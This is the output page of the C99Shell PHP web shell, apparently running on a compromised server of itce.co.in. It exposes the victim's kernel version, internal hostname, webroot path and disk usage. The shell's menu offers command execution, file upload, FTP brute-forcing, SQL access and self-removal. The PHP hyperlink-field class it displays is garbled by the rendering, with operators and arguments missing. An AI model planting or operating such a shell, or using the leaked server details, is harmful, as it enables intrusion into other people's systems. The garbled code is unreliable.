!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/itce.co.in/data/classes/controls/   drwxr-xr-x
Free 30.71 GB of 49.93 GB (61.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ViewHyperlinkField.php (3.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class ViewHyperlinkField extends ViewControl
{


    public function 
showDBValue( &$data$keylink$html true )
    {
        
$linkData $this->getLinkData($data$keylink$html);

        if ( !
$linkData )
            return 
"";

        return 
'<a href="'.runner_htmlspecialchars($linkData['link']).'"'.$linkData['target'].'>'.$linkData['title'].'</a>';
    }

    public function 
getLinkData( &$data$keylink$html true )
    {
        if(!
strlen($data[$this->field]))
            return 
false;
        
$ret $data[$this->field];
        
$title $ret;
        
$link $ret;
        if(
substr($ret,strlen($ret)-1)=='#')
        {
            
$i strpos($ret,'#');
            
$title substr($ret,0,$i);
            
$link substr($ret,$i+1,strlen($ret)-$i-2);
            if(!
$title)
                
$title $link;
        }
        
$prefix $this->getContainer()->pSet->getLinkPrefix($this->field);
        
$target $this->getContainer()->pSet->openLinkInNewWindow($this->field) ? " target=_blank" ""
        
$type $this->getContainer()->pSet->getLinkType($this->field);
        
        
$isExactMatched false;
        if(
$this->searchHighlight)
        {
            
$searchData $this->pageObject->searchClauseObj->getSearchToHighlight($this->field);
            if(
$searchData)
            {
                
$isExactMatched true;
                foreach(
$searchData['searchWords'] as $searchWord)
                {
                    if(
$searchWord != $data[$this->field])
                    {
                        
$isExactMatched false;
                        break;
                    }
                }
            }
        }
        
// display word
        
if($type == 1)
        {
            if(
$this->getContainer()->pSet->getLinkWordNameType($this->field) === "Text")
                
$title $this->getContainer()->pSet->getLinkWordText($this->field);
            else
                
$title GetCustomLabel($this->getContainer()->pSet->getLinkWordText($this->field));
            
            if(
$isExactMatched)
                
$title $this->addHighlightingSpan($title);
        }
        
// display field content
        
else if($type == 2)
        {
            
$title $data[$this->getContainer()->pSet->getLinkDisplayField($this->field)];
            
            if(
$isExactMatched)
                
$title $this->addHighlightingSpan($title);
            else if(
$this->field == $this->getContainer()->pSet->getLinkDisplayField($this->field) && $this->searchHighlight)
                
$title $this->highlightSearchWord(runner_htmlspecialchars($title), true"");
        }
        
// display url
        
else
        {
            if(
$this->searchHighlight)
            {
                if(
$isExactMatched)
                    
$title $this->addHighlightingSpan($prefix.$title);
                else
                    
$title $prefix.$this->highlightSearchWord(runner_htmlspecialchars($title), true"");
            }
            else
            {
                
$title runner_htmlspecialchars($prefix.$title);
            }
        }
        if(
strpos($link,"://")===false && substr($link,0,7)!="mailto:")
            
$link=$prefix.$link;

        
$lData = array();
        
$lData['link'] = $link;
        
$lData['target'] = $target;
        
$lData['title'] = $title;

        return 
$lData;
    }

    
/**
     * @param &Array data
     * @return String     
     */
    
public function getTextValue(&$data)
    {
        if( !
strlen$data$this->field ] ) )
            return 
"";    

        
$link $data$this->field ];
        if( 
substr($retstrlen($ret) - 1) == '#' )
        {
            
$i strpos($ret'#');
            
$link substr($ret$i 1strlen($ret) - $i 2);
        }
        
        
$prefix $this->getContainer()->pSet->getLinkPrefix$this->field );
        
        if( 
strpos($link"://") === false && substr($link07) != "mailto:" )
            
$link $prefix.$link;            
        
        return 
$link;
    }
    
    
/**
     * Get the field's content that will be exported
     * @prarm &Array data
     * @prarm String keylink
     * @return String
     */
    
public function getExportValue(&$data$keylink "")
    {
        return 
nl2br$data$this->field ] );
    }    
    public function 
getPdfValue(&$data$keylink "")
    {
        
$linkData $this->getLinkData($data$keylink$html);

        if ( !
$linkData )
            return 
"''";

        return 
my_json_encode( array(
            
"text" => $linkData['title'],
            
"link" => $linkData['link']
        ) );
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0025 ]--